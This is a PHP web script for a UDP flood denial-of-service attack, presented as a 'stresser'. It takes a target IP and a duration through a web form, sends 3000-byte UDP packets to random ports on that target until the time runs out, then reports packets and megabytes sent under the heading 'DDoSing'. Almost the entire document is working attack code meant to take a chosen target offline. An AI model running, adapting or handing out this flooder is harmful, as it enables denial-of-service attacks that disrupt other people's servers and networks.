PHP DoS Script

<?php include("/var/www/html/password_protect.php"); ?>
<?php
///////////////////
//Sheikh Viirus Script//
//////////////////
echo "<center> Script Stresser | Web Hosting  </center>";
if(isset($_GET['host'])&&isset($_GET['time'])){
$packets = 65500;
$rand = 53;
ignore_user_abort(FALSE);
set_time_limit(300);

$exec_time = $_GET['time'];

$time = time();
    $max_time = $time+$exec_time;

    $host = $_GET['host'];

    for($i=1;$i<3000;$i++){
            $out .= 'X';
    }
    while(1){
    $packets++;
            if(time() > $max_time){
                    break;
            }
            $rand = rand(1,65535);
            $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
            if($fp){
                    fwrite($fp, $out);
                    fclose($fp);
            }
    }
$pps = round($packets/$exec_time, 2);
$megabytes = round(($packets*65)/1024, 2);
$mbps = round($megabytes/$exec_time, 2);
$gigabytes = round($megabytes/1024, 2);
$gbps = round($gigabytes/$exec_time, 2);

echo "DDoSing-->: $host\n <br /> <br />";
echo "Offline time: $exec_time seconds.\n <br /> <br />";
echo "Packets:  $packets packets, averaging $pps packets/s.\n <br /> <br />";
echo "Megabytes: $megabytes MB averaging $mbps MB/s.\n <br /> <br />";
echo "Gigabytes:  $gigabytes GB averaging  $gbps GB/s.\n <br /> <br />";

    echo '<form action="'.$surl.'" method=GET>
        <input type="hidden" name="act" value="phptools">
        Skids IP: <br><input type=text name=host><br>
        Time: <br><input type=text name=time><br><br>
        <input type=submit value=      Start~Slamin    ></form>';
}else{ echo '<form action=? method=GET>
            <input type="hidden" name="act" value="phptools">
            Skids IP: <br><input type=text name=host value=><br>
            Time: <br><input type=text name=time value=><br><br>
            <input type=submit value=      Execute    ></form>';
}
?>